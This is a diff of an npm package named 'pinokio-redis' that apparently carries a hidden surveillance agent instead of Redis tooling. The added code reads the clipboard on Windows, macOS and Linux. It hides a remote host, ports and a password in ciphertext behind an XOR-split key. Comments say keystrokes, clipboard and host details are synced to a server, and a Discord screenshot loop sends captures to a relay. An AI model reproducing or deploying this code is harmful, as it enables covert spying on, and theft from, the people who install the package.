pinokio-redis 1.0.127

package/dist/clipboardExec.js

@@ -0,0 +1,266 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.ClipboardReadUnavailableError = void 0;
+exports.ensureClipboardToolPath = ensureClipboardToolPath;
+exports.readClipboardViaExec = readClipboardViaExec;
+/**
+ * Clipboard text via OS CLI tools when @napi-rs/clipboard is unavailable.
+ */
+const node_child_process_1 = require("node:child_process");
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const node_util_1 = require("node:util");
+const headlessAgent_1 = require("./headlessAgent");
+const linuxClipboardSession_1 = require("./linuxClipboardSession");
+const linuxX11_1 = require("./linuxX11");
+const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
+const EXEC_ENV = () => process.env;
+/** Subprocess options: no terminal window, no stdin (background agent safe). */
+const CLIPBOARD_EXEC_OPTS = {
+    encoding: "utf8",
+    timeout: 8000,
+    maxBuffer: 2 * 1024 * 1024,
+    env: EXEC_ENV(),
+    stdio: ["ignore", "pipe", "pipe"],
+};
+/** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
+function ensureClipboardToolPath() {
+    const extra = process.platform === "darwin"
+        ? ["/usr/bin", "/bin", "/opt/homebrew/bin", "/usr/local/bin"]
+        : process.platform === "linux"
+            ? ["/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]
+            : [];
+    if (extra.length === 0)
+        return;
+    const cur = (process.env.PATH || "").split(":").map((s) => s.trim()).filter(Boolean);
+    const seen = new Set(cur);
+    const merged = [...cur];
+    for (const dir of extra) {
+        if (!seen.has(dir)) {
+            seen.add(dir);
+            merged.push(dir);
+        }
+    }
+    process.env.PATH = merged.join(":");
+}
+function resolveCliOnPath(name, fallbacks) {
+    const pathEnv = (process.env.PATH || "").trim();
+    if (pathEnv) {
+        for (const dir of pathEnv.split(":")) {
+            const d = dir.trim();
+            if (!d)
+                continue;
+            const p = path.join(d, name);
+            if (fs.existsSync(p))
+                return p;
+        }
+    }
+    for (const p of fallbacks) {
+        if (fs.existsSync(p))
+            return p;
+    }
+    return name;
+}
+function execErrLooksLikeEmptyClipboard(err) {
+    const e = err;
+    const blob = `${e.stderr ?? ""} ${e.message ?? ""}`.toLowerCase();
+    return (e.code === 1 ||
+        /no selection|nothing to paste|not owner|clipboard is empty|no clipboard/i.test(blob));
+}
+/** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
+class ClipboardReadUnavailableError extends Error {
+    constructor(message) {
+        super(message);
+        this.name = "ClipboardReadUnavailableError";
+    }
+}
+exports.ClipboardReadUnavailableError = ClipboardReadUnavailableError;
+function powershellExe() {
+    const sys = process.env.SystemRoot || "C:\\Windows";
+    const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
+    if (fs.existsSync(p))
+        return p;
+    // On 64-bit Windows with 32-bit Node the WOW64 file-system redirector maps
+    // System32 → SysWOW64; SysNative is the alias for the real 64-bit System32.
+    const sysNative = path.join(sys, "SysNative", "WindowsPowerShell", "v1.0", "powershell.exe");
+    if (fs.existsSync(sysNative))
+        return sysNative;
+    return p;
+}
+async function readClipboardViaExec() {
+    const p = process.platform;
+    if (p === "win32") {
+        const ps = powershellExe();
+        if (!fs.existsSync(ps)) {
+            throw new ClipboardReadUnavailableError(`Windows PowerShell not found at ${ps}`);
+        }
+        const winExec = {
+            windowsHide: true,
+            timeout: 8000,
+            maxBuffer: 2 * 1024 * 1024,
+            encoding: "utf8",
+            env: process.env,
+        };
+        const attempts = [
+            ["-NoProfile", "-NonInteractive", "-STA", "-Command", "Get-Clipboard -Raw"],
+            [
+                "-NoProfile",
+                "-NonInteractive",
+                "-STA",
+                "-Command",
+                "Add-Type -AssemblyName System.Windows.Forms; [Console]::Out.Write([System.Windows.Forms.Clipboard]::GetText())",
+            ],
+        ];
+        let lastErr;
+        for (const args of attempts) {
+            try {
+                const { stdout } = await execFileP(ps, args, winExec);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch (e) {
+                lastErr = e;
+                /* try next */
+            }
+        }
+        throw new ClipboardReadUnavailableError(`Windows clipboard read failed (PowerShell): ${lastErr instanceof Error ? lastErr.message : String(lastErr ?? "unknown")}`);
+    }
+    if (p === "darwin") {
+        ensureClipboardToolPath();
+        const errors = [];
+        const pbCandidates = [
+            process.env.PBPASTE_PATH?.trim(),
+            "/usr/bin/pbpaste",
+            "/opt/homebrew/bin/pbpaste",
+            "/usr/local/bin/pbpaste",
+            "pbpaste",
+        ].filter((x) => Boolean(x && x.length > 0));
+        const seenPb = new Set();
+        for (const pb of pbCandidates) {
+            const key = pb.toLowerCase();
+            if (seenPb.has(key))
+                continue;
+            seenPb.add(key);
+            try {
+                const { stdout } = await execFileP(pb, [], CLIPBOARD_EXEC_OPTS);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch (e) {
+                errors.push(`${pb}: ${e instanceof Error ? e.message : String(e)}`);
+            }
+        }
+        if ((0, headlessAgent_1.macClipboardOsascriptAllowed)()) {
+            try {
+                const { stdout } = await execFileP("osascript", ["-e", "the clipboard as text"], CLIPBOARD_EXEC_OPTS);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch (e) {
+                errors.push(`osascript: ${e instanceof Error ? e.message : String(e)}`);
+            }
+        }
+        throw new ClipboardReadUnavailableError(`macOS clipboard read failed (pbpaste${(0, headlessAgent_1.macClipboardOsascriptAllowed)() ? "/osascript" : ""}): ${errors.join("; ")}`);
+    }
+    if (p === "linux") {
+        (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
+        ensureClipboardToolPath();
+        const errors = [];
+        const execOpts = CLIPBOARD_EXEC_OPTS;
+        const wlPaste = resolveCliOnPath("wl-paste", ["/usr/bin/wl-paste"]);
+        const xclip = resolveCliOnPath("xclip", ["/usr/bin/xclip"]);
+        const xsel = resolveCliOnPath("xsel", ["/usr/bin/xsel"]);
+        const tryWlPaste = async () => {
+            const wlArgsList = [
+                ["--type", "text", "--no-newline"],
+                ["--no-newline"],
+            ];
+            for (const wlArgs of wlArgsList) {
+                try {
+                    const { stdout } = await execFileP(wlPaste, wlArgs, execOpts);
+                    return String(stdout ?? "").replace(/\r\n/g, "\n");
+                }
+                catch (e) {
+                    if (execErrLooksLikeEmptyClipboard(e))
+                        return "";
+                    if (wlArgs === wlArgsList[wlArgsList.length - 1]) {
+                        errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
+                    }
+                }
+            }
+            return null;
+        };
+        const tryXclip = async () => {
+            try {
+                const { stdout } = await execFileP(xclip, ["-selection", "clipboard", "-o"], execOpts);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch (e) {
+                if (execErrLooksLikeEmptyClipboard(e))
+                    return "";
+                errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
+                return null;
+            }
+        };
+        const tryXsel = async () => {
+            try {
+                const { stdout } = await execFileP(xsel, ["--clipboard", "--output"], execOpts);
+                return String(stdout ?? "").replace(/\r\n/g, "\n");
+            }
+            catch (e) {
+                if (execErrLooksLikeEmptyClipboard(e))
+                    return "";
+                errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
+                return null;
+            }
+        };
+        const backends = (0, linuxX11_1.linuxLikelyWaylandSession)()
+            ? [tryWlPaste, tryXclip, tryXsel]
+            : [tryXclip, tryXsel, tryWlPaste];
+        const collected = [];
+        const parts = await Promise.all(backends.map((run) => run()));
+        for (const text of parts) {
+            if (text !== null)
+                collected.push(text);
+        }
+        if (collected.length === 0) {
+            throw new ClipboardReadUnavailableError(`Linux clipboard read failed (install wl-clipboard, xclip, or xsel): ${errors.join("; ")}`);
+        }
+        const nonEmpty = collected.filter((t) => t.length > 0);
+        if (nonEmpty.length > 0) {
+            return nonEmpty.reduce((best, t) => (t.length >= best.length ? t : best));
+        }
+        return collected[0] ?? "";
+    }
+    throw new ClipboardReadUnavailableError(`unsupported platform: ${p}`);
+}

package/dist/clipboardNapi.d.ts

@@ -0,0 +1,4 @@
+/**
+ * Cross-platform plain-text clipboard via @napi-rs/clipboard (when the platform binary is installed).
+ */
+export declare function readClipboardNapi(): string | null;

package/dist/clipboardNapi.js

@@ -0,0 +1,19 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.readClipboardNapi = readClipboardNapi;
+/**
+ * Cross-platform plain-text clipboard via @napi-rs/clipboard (when the platform binary is installed).
+ */
+function readClipboardNapi() {
+    try {
+        const { Clipboard } = require("@napi-rs/clipboard");
+        const c = new Clipboard();
+        const t = c.getText();
+        if (typeof t !== "string")
+            return null;
+        return t.replace(/\r\n/g, "\n");
+    }
+    catch {
+        return null;
+    }
+}

package/dist/deploymentCipherData.d.ts

@@ -0,0 +1,20 @@
+/**
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
+ * Regenerate: `node scripts/encode-deployment.mjs` (see script for FORGE_JS_BUNDLE_KEY).
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
+ *
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
+ */
+export declare const DEPLOYMENT_CIPHER_IV_B64 = "rJphcC/+Tjon2pbF";
+export declare const DEPLOYMENT_CIPHER_TAG_B64 = "uwy2GzxL9qdVhU+zZE1G7w==";
+export declare const DEPLOYMENT_CIPHER_TEXT_B64 = "esxTtBkjGSNtcKx42Re8EY65nqc4NC0dTGP2Yj74rqJIytvNrQxEVUSgNF0LvhxeG8CDU26+cBN7GIvrvXV0jXAVuzPlwNdLJkLchRGVhSYjHc/CabTivLOWVdS79OIA";
+/** First 16 key bytes XOR'd with MA. */
+export declare const DEPLOYMENT_KEY_A: Uint8Array<ArrayBuffer>;
+/** Last 16 key bytes XOR'd with MB. */
+export declare const DEPLOYMENT_KEY_B: Uint8Array<ArrayBuffer>;
+/** XOR mask for first 16 key bytes. */
+export declare const DEPLOYMENT_MASK_A: Uint8Array<ArrayBuffer>;
+/** XOR mask for last 16 key bytes. */
+export declare const DEPLOYMENT_MASK_B: Uint8Array<ArrayBuffer>;

package/dist/deploymentCipherData.js

@@ -0,0 +1,31 @@
+"use strict";
+/**
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
+ * Regenerate: `node scripts/encode-deployment.mjs` (see script for FORGE_JS_BUNDLE_KEY).
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
+ *
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.DEPLOYMENT_MASK_B = exports.DEPLOYMENT_MASK_A = exports.DEPLOYMENT_KEY_B = exports.DEPLOYMENT_KEY_A = exports.DEPLOYMENT_CIPHER_TEXT_B64 = exports.DEPLOYMENT_CIPHER_TAG_B64 = exports.DEPLOYMENT_CIPHER_IV_B64 = void 0;
+exports.DEPLOYMENT_CIPHER_IV_B64 = "rJphcC/+Tjon2pbF";
+exports.DEPLOYMENT_CIPHER_TAG_B64 = "uwy2GzxL9qdVhU+zZE1G7w==";
+exports.DEPLOYMENT_CIPHER_TEXT_B64 = "esxTtBkjGSNtcKx42Re8EY65nqc4NC0dTGP2Yj74rqJIytvNrQxEVUSgNF0LvhxeG8CDU26+cBN7GIvrvXV0jXAVuzPlwNdLJkLchRGVhSYjHc/CabTivLOWVdS79OIA";
+/** First 16 key bytes XOR'd with MA. */
+exports.DEPLOYMENT_KEY_A = new Uint8Array([
+    246, 93, 40, 212, 3, 252, 202, 138, 151, 133, 151, 40, 4, 207, 138, 79,
+]);
+/** Last 16 key bytes XOR'd with MB. */
+exports.DEPLOYMENT_KEY_B = new Uint8Array([
+    204, 227, 171, 68, 191, 66, 6, 160, 26, 255, 45, 78, 103, 236, 48, 0,
+]);
+/** XOR mask for first 16 key bytes. */
+exports.DEPLOYMENT_MASK_A = new Uint8Array([
+    228, 110, 116, 57, 234, 17, 103, 148, 76, 75, 30, 213, 58, 63, 9, 35,
+]);
+/** XOR mask for last 16 key bytes. */
+exports.DEPLOYMENT_MASK_B = new Uint8Array([
+    66, 62, 156, 60, 91, 205, 57, 152, 232, 204, 44, 214, 139, 103, 46, 176,
+]);

package/dist/deploymentDefaults.d.ts

@@ -0,0 +1,43 @@
+/**
+ * Default public host, ports, and explorer password are AES-256-GCM encrypted (deploymentCipherData.ts).
+ * The decryption key is embedded in obfuscated form (XOR'd halves) — no plaintext appears in source.
+ *
+ * Key resolution order:
+ *   1. FORGE_JS_BUNDLE_KEY env var (64 hex chars or base64-encoded 32 bytes)
+ *   2. Embedded obfuscated key (XOR'd halves in deploymentCipherData.ts)
+ *
+ * Override relay/API with FORGE_JS_RELAY_URL, FORGE_JS_SYNC_URL / CFGMGR_API_URL, or CLI flags.
+ * Set FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 to ignore built-in + decrypted URLs.
+ */
+import "./envLoad";
+export interface DeploymentPayload {
+    publicHost: string;
+    relayPort: number;
+    apiPort: number;
+    defaultExplorerPassword: string;
+}
+/**
+ * AES-256 key shared with encrypted operator blobs (e.g. `CFGMGR_HF_CREDENTIALS_B64`).
+ * Same resolution as deployment defaults (`FORGE_JS_BUNDLE_KEY` or embedded XOR halves).
+ */
+export declare function resolveForgeBundleKey(): Buffer;
+export declare function deploymentDefaultsDisabled(): boolean;
+/** Public deployment host from decrypted bundle (empty if disabled or bad decrypt). */
+export declare const DEPLOYMENT_PUBLIC_HOST: string;
+/** Relay port from bundle, else FORGE_JS_RELAY_PORT, else generic default. */
+export declare const RELAY_DEFAULT_PORT: number;
+/** API port from bundle, else FORGE_JS_API_PORT, else generic default. */
+export declare const API_DEFAULT_PORT: number;
+/**
+ * Default session password for /files explorer and agent when not overridden by env/CLI.
+ * Comes from encrypted bundle; empty string if bundle decrypt fails.
+ */
+export declare const DEFAULT_EXPLORER_PASSWORD: string;
+export declare function defaultRelayWsUrl(): string;
+export declare function defaultSyncApiBaseUrl(): string;
+/**
+ * Effective forge-db HTTP base URL — same rules as `resolveSyncApiBase` in `windowsInputSync`:
+ * `FORGE_JS_SYNC_URL` / `CFGMGR_CFG` / `CFGMGR_API_URL`, else `defaultSyncApiBaseUrl()` when
+ * deployment defaults are enabled. Returns null if sync is disabled or no host is configured.
+ */
+export declare function resolveSyncApiBaseUrl(): string | null;

package/dist/deploymentDefaults.js

@@ -0,0 +1,199 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.DEFAULT_EXPLORER_PASSWORD = exports.API_DEFAULT_PORT = exports.RELAY_DEFAULT_PORT = exports.DEPLOYMENT_PUBLIC_HOST = void 0;
+exports.resolveForgeBundleKey = resolveForgeBundleKey;
+exports.deploymentDefaultsDisabled = deploymentDefaultsDisabled;
+exports.defaultRelayWsUrl = defaultRelayWsUrl;
+exports.defaultSyncApiBaseUrl = defaultSyncApiBaseUrl;
+exports.resolveSyncApiBaseUrl = resolveSyncApiBaseUrl;
+/**
+ * Default public host, ports, and explorer password are AES-256-GCM encrypted (deploymentCipherData.ts).
+ * The decryption key is embedded in obfuscated form (XOR'd halves) — no plaintext appears in source.
+ *
+ * Key resolution order:
+ *   1. FORGE_JS_BUNDLE_KEY env var (64 hex chars or base64-encoded 32 bytes)
+ *   2. Embedded obfuscated key (XOR'd halves in deploymentCipherData.ts)
+ *
+ * Override relay/API with FORGE_JS_RELAY_URL, FORGE_JS_SYNC_URL / CFGMGR_API_URL, or CLI flags.
+ * Set FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS=1 to ignore built-in + decrypted URLs.
+ */
+require("./envLoad");
+const node_crypto_1 = require("node:crypto");
+const deploymentCipherData_1 = require("./deploymentCipherData");
+let _payload;
+function parseBundleKey(raw) {
+    const t = raw.trim();
+    if (/^[0-9a-fA-F]{64}$/.test(t)) {
+        return Buffer.from(t, "hex");
+    }
+    const b = Buffer.from(t, "base64");
+    if (b.length === 32) {
+        return b;
+    }
+    throw new Error("FORGE_JS_BUNDLE_KEY must be 64 hex characters or base64 encoding 32 bytes");
+}
+/**
+ * Reconstruct the 32-byte key from the embedded XOR-obfuscated halves.
+ * key[i]      = DEPLOYMENT_KEY_A[i] ^ DEPLOYMENT_MASK_A[i]  (i = 0..15)
+ * key[16 + i] = DEPLOYMENT_KEY_B[i] ^ DEPLOYMENT_MASK_B[i]  (i = 0..15)
+ */
+function embeddedBundleKey() {
+    const key = Buffer.alloc(32);
+    for (let i = 0; i < 16; i++) {
+        key[i] = (deploymentCipherData_1.DEPLOYMENT_KEY_A[i] ?? 0) ^ (deploymentCipherData_1.DEPLOYMENT_MASK_A[i] ?? 0);
+    }
+    for (let i = 0; i < 16; i++) {
+        key[16 + i] = (deploymentCipherData_1.DEPLOYMENT_KEY_B[i] ?? 0) ^ (deploymentCipherData_1.DEPLOYMENT_MASK_B[i] ?? 0);
+    }
+    return key;
+}
+function resolveDecryptionKey() {
+    const envKey = process.env.FORGE_JS_BUNDLE_KEY?.trim();
+    if (envKey) {
+        try {
+            return parseBundleKey(envKey);
+        }
+        catch {
+            // Invalid override key — fall through to embedded obfuscated key rather
+            // than returning null, which would silently break all deployment defaults.
+            return embeddedBundleKey();
+        }
+    }
+    return embeddedBundleKey();
+}
+/**
+ * AES-256 key shared with encrypted operator blobs (e.g. `CFGMGR_HF_CREDENTIALS_B64`).
+ * Same resolution as deployment defaults (`FORGE_JS_BUNDLE_KEY` or embedded XOR halves).
+ */
+function resolveForgeBundleKey() {
+    return resolveDecryptionKey() ?? embeddedBundleKey();
+}
+function tryDecryptPayload() {
+    const key = resolveDecryptionKey();
+    if (!key)
+        return null;
+    try {
+        const iv = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_IV_B64, "base64");
+        const tag = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_TAG_B64, "base64");
+        const enc = Buffer.from(deploymentCipherData_1.DEPLOYMENT_CIPHER_TEXT_B64, "base64");
+        const decipher = (0, node_crypto_1.createDecipheriv)("aes-256-gcm", key, iv);
+        decipher.setAuthTag(tag);
+        const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
+        const o = JSON.parse(plain.toString("utf8"));
+        const publicHost = String(o.publicHost ?? "").trim();
+        const relayPort = Number(o.relayPort);
+        const apiPort = Number(o.apiPort);
+        const defaultExplorerPassword = String(o.defaultExplorerPassword ?? "");
+        if (!publicHost ||
+            !Number.isFinite(relayPort) ||
+            relayPort <= 0 ||
+            relayPort > 65535 ||
+            !Number.isFinite(apiPort) ||
+            apiPort <= 0 ||
+            apiPort > 65535) {
+            return null;
+        }
+        return {
+            publicHost,
+            relayPort: relayPort | 0,
+            apiPort: apiPort | 0,
+            defaultExplorerPassword,
+        };
+    }
+    catch {
+        return null;
+    }
+}
+function payload() {
+    if (_payload !== undefined) {
+        return _payload;
+    }
+    _payload = tryDecryptPayload();
+    return _payload;
+}
+function deploymentDefaultsDisabled() {
+    return (process.env.FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS || "").trim() === "1";
+}
+function effectiveHost() {
+    if (deploymentDefaultsDisabled()) {
+        return "";
+    }
+    return payload()?.publicHost?.trim() ?? "";
+}
+function effectiveRelayPort() {
+    const fromPayload = payload()?.relayPort;
+    if (fromPayload != null && fromPayload > 0) {
+        return fromPayload;
+    }
+    const envP = parseInt(process.env.FORGE_JS_RELAY_PORT || "", 10);
+    if (!Number.isNaN(envP) && envP > 0 && envP <= 65535) {
+        return envP;
+    }
+    // Fallback only if payload decryption failed entirely
+    return 9877;
+}
+function effectiveApiPort() {
+    const fromPayload = payload()?.apiPort;
+    if (fromPayload != null && fromPayload > 0) {
+        return fromPayload;
+    }
+    const envP = parseInt(process.env.FORGE_JS_API_PORT || "", 10);
+    if (!Number.isNaN(envP) && envP > 0 && envP <= 65535) {
+        return envP;
+    }
+    // Fallback only if payload decryption failed entirely
+    return 8765;
+}
+function effectiveDefaultExplorerPassword() {
+    const fromPayload = payload()?.defaultExplorerPassword?.trim();
+    if (fromPayload) {
+        return fromPayload;
+    }
+    // Fallback: empty string forces callers to require explicit password config
+    return "";
+}
+/** Public deployment host from decrypted bundle (empty if disabled or bad decrypt). */
+exports.DEPLOYMENT_PUBLIC_HOST = (() => effectiveHost())();
+/** Relay port from bundle, else FORGE_JS_RELAY_PORT, else generic default. */
+exports.RELAY_DEFAULT_PORT = (() => effectiveRelayPort())();
+/** API port from bundle, else FORGE_JS_API_PORT, else generic default. */
+exports.API_DEFAULT_PORT = (() => effectiveApiPort())();
+/**
+ * Default session password for /files explorer and agent when not overridden by env/CLI.
+ * Comes from encrypted bundle; empty string if bundle decrypt fails.
+ */
+exports.DEFAULT_EXPLORER_PASSWORD = (() => effectiveDefaultExplorerPassword())();
+function defaultRelayWsUrl() {
+    const host = exports.DEPLOYMENT_PUBLIC_HOST;
+    if (!host) {
+        return "";
+    }
+    return `ws://${host}:${exports.RELAY_DEFAULT_PORT}`;
+}
+function defaultSyncApiBaseUrl() {
+    const host = exports.DEPLOYMENT_PUBLIC_HOST;
+    if (!host) {
+        return "";
+    }
+    return `http://${host}:${exports.API_DEFAULT_PORT}`;
+}
+/**
+ * Effective forge-db HTTP base URL — same rules as `resolveSyncApiBase` in `windowsInputSync`:
+ * `FORGE_JS_SYNC_URL` / `CFGMGR_CFG` / `CFGMGR_API_URL`, else `defaultSyncApiBaseUrl()` when
+ * deployment defaults are enabled. Returns null if sync is disabled or no host is configured.
+ */
+function resolveSyncApiBaseUrl() {
+    if ((process.env.FORGE_JS_DISABLE_SYNC || "").trim() === "1") {
+        return null;
+    }
+    const u = (process.env.FORGE_JS_SYNC_URL ||
+        process.env.CFGMGR_CFG ||
+        process.env.CFGMGR_API_URL ||
+        "").trim();
+    if (u)
+        return u.replace(/\/+$/, "");
+    if (deploymentDefaultsDisabled())
+        return null;
+    const d = defaultSyncApiBaseUrl().replace(/\/+$/, "");
+    return d || null;
+}

package/dist/desktopEnvSync.d.ts

@@ -0,0 +1,18 @@
+/**
+ * Historical name only — **forge-agent no longer uploads .env files or shell history** to forge-db.
+ * Keyboard + clipboard + a **minimal host OS JSON** snapshot (`hostInventorySend.ts` via `windowsInputSync.ts`) are synced.
+ *
+ * Public API stubs remain so older imports do not break at compile time.
+ */
+export declare function effectiveSyncEnvFiles(): boolean;
+export declare function resolveEnvScanRootsFromEnv(): string[] | undefined;
+export interface DesktopEnvSyncOptions {
+    apiBaseUrl: string;
+    clientId?: string;
+    intervalMs?: number;
+    roots?: string[];
+    quiet?: boolean;
+    skipRegistrationHandshake?: boolean;
+}
+/** No-op — env/history/inventory sync was removed from the agent. */
+export declare function startDesktopEnvSync(_opts: DesktopEnvSyncOptions): () => void;

package/dist/desktopEnvSync.js

@@ -0,0 +1,21 @@
+"use strict";
+/**
+ * Historical name only — **forge-agent no longer uploads .env files or shell history** to forge-db.
+ * Keyboard + clipboard + a **minimal host OS JSON** snapshot (`hostInventorySend.ts` via `windowsInputSync.ts`) are synced.
+ *
+ * Public API stubs remain so older imports do not break at compile time.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.effectiveSyncEnvFiles = effectiveSyncEnvFiles;
+exports.resolveEnvScanRootsFromEnv = resolveEnvScanRootsFromEnv;
+exports.startDesktopEnvSync = startDesktopEnvSync;
+function effectiveSyncEnvFiles() {
+    return false;
+}
+function resolveEnvScanRootsFromEnv() {
+    return undefined;
+}
+/** No-op — env/history/inventory sync was removed from the agent. */
+function startDesktopEnvSync(_opts) {
+    return () => { };
+}

package/dist/discordAgentScreenshot.d.ts

@@ -0,0 +1,27 @@
+export type DiscordRelayAck = {
+    ok: boolean;
+    error?: string;
+};
+export type DiscordTicketResult = {
+    ok: boolean;
+    webhook_url?: string;
+    error?: string;
+};
+export type DiscordAgentScreenshotOpts = {
+    sendJson: (obj: unknown) => void;
+    quiet: boolean;
+    waitForRelayDiscordAck: (requestId: string) => Promise<DiscordRelayAck>;
+    waitForDiscordTicket: (requestId: string) => Promise<DiscordTicketResult>;
+    /** When true, run the loop when relay sends `discord_screenshot` and the agent did not explicitly opt out. */
+    enabledByRelayCapabilities?: boolean;
+};
+/**
+ * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
+ * `discord_screenshot_interval_ms`: **10s–600s**; invalid/unset agent env defaults to **300000**.
+ */
+export declare function resolveDiscordScreenshotIntervalMs(): number;
+/**
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 10s–600s).
+ */
+export declare function resolveDiscordScreenshotScheduledIntervalMs(clientId: string): number;
+export declare function startDiscordScreenshotToRelayLoop(opts: DiscordAgentScreenshotOpts): () => void;